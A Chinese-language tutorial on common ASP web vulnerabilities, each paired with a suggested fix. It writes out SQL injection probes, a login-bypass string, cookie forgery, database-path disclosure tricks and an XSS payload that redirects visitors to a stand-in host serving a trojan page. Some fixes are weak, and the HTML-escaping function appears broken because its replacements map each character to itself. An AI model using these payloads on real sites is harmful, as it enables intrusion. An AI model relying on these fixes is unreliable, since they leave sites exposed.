ASP常見漏洞大全

一、SQL注入漏洞

漏洞簡介:

程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

SQL注入漏洞的幾種類型:

1、數字型注入漏洞

例如:http://www.test.com/bug.asp?id=11,這個名爲“bug.asp”的文件存在有數據提交,提交的參數名爲“id”,參數值爲“11”,這裏提交的值“11”爲數字型,執行SQL語句時就類似於:

select * from 表名 where id=11

其中在bug.asp文件中獲取客戶端提交過來的參數“id”的值的寫法一般是這樣的:

id=request("id")

如果id變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!

漏洞檢測方法:

提交:

http://www.test.com/bug.asp?id=11 and 1=1 和

http://www.test.com/bug.asp?id=11 and 1=2

查看兩次頁面的返回結果是否一樣。

2、字符型注入漏洞

例如:http://www.test.com/bug2.asp?name=xufang,這個名爲“bug2.asp”的文件存在有數據提交,提交的參數名爲“name”,參數值爲“xufang”,這裏提交的值“xufang”爲字符型,執行SQL語句時就類似於:

select * from 表名 where name='xufang'

其中在bug2.asp文件中獲取客戶端提交過來的參數“name”的值的寫法一般是這樣的:

name=request("name")

如果name變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!

漏洞檢測方法:

提交:http://www.test.com/bug2.asp?name=xufang' and '1'='1 和

http://www.test.com/bug2.asp?name=xufang' and '1'='2

查看兩次頁面的返回結果是否一樣。

3、搜索型注入漏洞

例如:http://www.test.com/bug3.asp?keyword=xhonker,這個名爲“bug3.asp”的文件存在有數據提交,提交的參數名爲“keyword”,參數值爲“xhonker”,執行SQL語句時就類似於:

select * from 表名 where keyword like '%xhonker%'

其中在bug3.asp文件中獲取客戶端提交過來的參數“keyword”的值的寫法一般是這樣的:

keyword=request("keyword")

如果keyword變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!

檢測方法:

提交:http://www.test.com/bug3.asp?keyword=xhonker%' and 1=1 and '%'=' 和

http://www.test.com/bug3.asp?keyword=xhonker%' and 1=2 and '%'='

查看兩次頁面的返回結果是否一樣。

注:在SQL注入漏洞的檢測中還有另外一種情況,例如:

http://www.test.com/bug4.asp?name=xufang&id=1986

這裏bug4.asp同時獲取了兩個變量“name”和“id”的值,用字符串連接符“&”連接兩個參數,有的時候程序員只對其中的一

個變量進行了過濾,而忽略了另外的一個變量,例如這裏程序員只對參數“id”的值進行了過濾,而沒有對參數“name”的值進行過濾,所以我們就可以將參數“name”和“id”的順序進行下調換,提交:

http://www.test.com/bug4.asp?id=1986&name=xufang 注入語句

就可以了!

防禦方法:

對於數字型注入漏洞,我們可以使用VBScript中的cint()函數將提交過來的參數值進行強制類型轉換,例如:

id=cint(trim(request("id")))

對於字符型和搜索型注入漏洞,我們可以編寫一個過濾SQL注入關鍵字的函數,需要時調用該函數即可!

二、跨站腳本攻擊漏洞

漏洞簡介:

網站對於用戶輸入的數據過濾不嚴格,倘若用戶輸入的數據中含有HTML代碼的話,則該代碼將會在頁面載入時自動運行,一旦輸入的數據中含有惡意代碼,那麼後果將不堪設想!

例如:

某個新聞發佈系統的用戶評論部分對用戶名和E-mail過濾不嚴格,我們就可以點擊某一條新聞,在用戶評論部分的用戶名處輸入“<script>location="http://www.xxx.com/x.htm"</script>”這樣的語句,當然你也可以自己構造語句,其中http://www.xxx.com/x.htm爲我們存放網頁木馬的地址。完成後,只要其他瀏覽網站的用戶再點擊這條新聞,新聞頁面就會自動轉向http://www.xxx.com/x.htm。

檢測方法:

網站是否有跨站漏洞,我們可以用“<script>alert('xhonker');</script>”這句代碼來檢測,如果網頁彈出了“xhonker”的提示框,則表示有跨站漏洞。

同時我們也可以通過在返回的頁面中搜索我們提交的HTML字符,看對方對哪些字符進行了過濾。

防禦方法:

我們可以採用下面的函數對用戶提交的HTML字符進行過濾:

Public Function FilterHtml(Str)

If Trim(Str)="" or Isnull(str) Then

FilterHtml=""

Else

Str=Replace(Str,">",">")

Str=Replace(Str,"<","<")

Str=Replace(Str,Chr(32)," ")

Str=Replace(Str,Chr(9)," ")

Str=Replace(Str,Chr(34),""")

Str=Replace(Str,Chr(39),"'")

Str=Replace(Str,Chr(13),"")

Str=Replace(Str,Chr(10)&Chr(10),"</p><p>")

Str=Replace(Str,Chr(10),"<br>")

FilterHtml=Str

End If

End Function

三、登陸驗證繞過漏洞

漏洞簡介:

在某些網站程序中,用戶可以在未經過受權的情況下訪問某些敏感頁面,譬如網站後臺頁面。

舉例:

1、萬能密碼進後臺

有些網站的後臺驗證部分使用的是如下代碼:

username=trim(request.form("user"))

password=trim(request.form("pass"))

sql="select * from admin where username='"&username&"' and password='"&password&"'"

如果這個時候我們提交一個用戶名爲“xhonker' or '1'='1”,密碼爲任意的數據,會發現一樣可以登陸後臺!這時SQL語句就變

成了這個樣子:

select * from admin where username='xhonker' or '1'='1' and password='"&password&"'

解釋一下,“or”是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那麼等式將會成立。這裏1=1永遠成立,所以我們提交的SQL語句永遠爲真,這樣就可以在不知道密碼的情況下成功登陸後臺!

防禦方法:

這裏大家可以看出,利用成功的條件必須要是提交的數據庫含有單引號,如果我們將單引號過濾掉的話對方就拿我們沒有辦法了!有些程序員採用在客戶端寫一段Javascript或者VBScript腳本來實現過濾,但這其實也存在安全隱患,因爲客戶端的腳本我們是可以隨意修改的,我們只需將其刪除然後修改下提交表單中“action”屬性處的值即可!這裏我們採用如下方法進行過濾:

username=replace(trim(request.form("user")),"'","")

password=replace(trim(request.form("pass")),"'","")

在服務器端使用replace函數將客戶端提交過來的'過濾爲空,這樣對方就無法採用閉合程序中的單引號來實現非法登陸了!

2、Cookies欺騙進後臺

有些網站的後臺頁面使用的是Cookies驗證,代碼如下:

If request.cookies("admin")="" then

response.redirect "login.asp"

程序只是簡單的判斷Cookies中admin的值是否爲空,如果爲空則返回登陸頁面,不爲空則進入後臺頁面。而Cookies我們是可以在客戶端進行僞造的,我們只需將admin的Cookies值設爲任意,只要不爲空就可以,這樣再次訪問後臺頁面就可以進入了!

防禦方法:

提倡大家在服務器端使用Session驗證,也可以通過判斷用戶是否是從特定的頁面進入的後臺頁面。

四、暴庫漏洞

漏洞簡介:

1、%5c法

對於一些Access數據庫的主機而言,我們可以通過暴庫獲得數據庫的絕對路徑。假設頁面地址是:http://www.xxx.com/xx/x.asp?id=123,我們可以嘗試提交http://www.xxx.com/xx%5cx.asp?id=123。如果能獲得絕對地址,我們只要再適當結合網頁地址,就能下載到數據庫了!

2、conn.asp法

動力文章系統以前就暴出過這個漏洞,通過直接訪問網站的conn.asp文件就可以獲得數據庫的絕對路徑!

防禦方法:

只需在網站的數據庫連接文件,譬如conn.asp文件中加入語句“on error resume next”即可!

五、利用網站後臺配置文件寫入Webshell漏洞

漏洞簡介:

有些網站的後臺程序沒有對網站配置信息部分做充分的過濾,惡意用戶在進入後臺後可以向其配置文件中寫入一句話木馬,然後利用一句話木馬客戶端進行連接。

防禦方法:

對於網站信息配置文件中的內容進行有效的過濾,從而防止這種情況的發生。

六、.asp

後綴數據庫安全隱患

漏洞簡介:

對於使用Access數據庫的網站,管理員爲了防止其數據庫被下載,便將原來的.mdb後綴修改爲了.asp後綴,但這樣做一樣存在安全隱患,如果數據庫中不存在有防下載表的話,用戶通過Flashget這樣的軟件一樣可以將數據庫下載下來。

而且如果數據庫中不存在防下載表的話,用戶如果向數據庫中寫入asp代碼的話,譬如一句話木馬的代碼,這樣當用戶使用一句話木馬客戶端連接數據庫文件時,其中的代碼就會被解釋並且執行,直接危急網站的安全!

防禦方法:

對於.asp後綴的數據庫,建議在其中加入防下載表,這樣對於惡意下載數據庫以及asp代碼的執行都起到了很好的防禦作用!

七、上傳漏洞

漏洞簡介:

如果程序對用戶上傳文件的類型沒有做好嚴格過濾的話,用戶即可上傳譬如.asp這樣的文件,從而危及網站及服務器的安全。

防禦方法:

有些程序員只是在客戶端使用Javascript或者VBScript對用戶上傳文件的類型進行過濾,但這樣的過濾是根本不起作用的,因爲用戶可以控制客戶端腳本的內容。

建議在服務器端對上傳的文件類型進行嚴格的過濾,禁止用戶上傳任何對服務器安全具有威脅的文件,譬如.asp文件。

還有就是在IIS的設置中禁止保存上傳文件的目錄的可執行權限,這樣即使非法用戶成功上傳了對服務器安全構成威脅的文件,但該文件也是無法被成功解析的,自然就失去了它原有的意義。

這些是ASP入侵基礎。以後我還會發一下ASP基礎給大家看的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章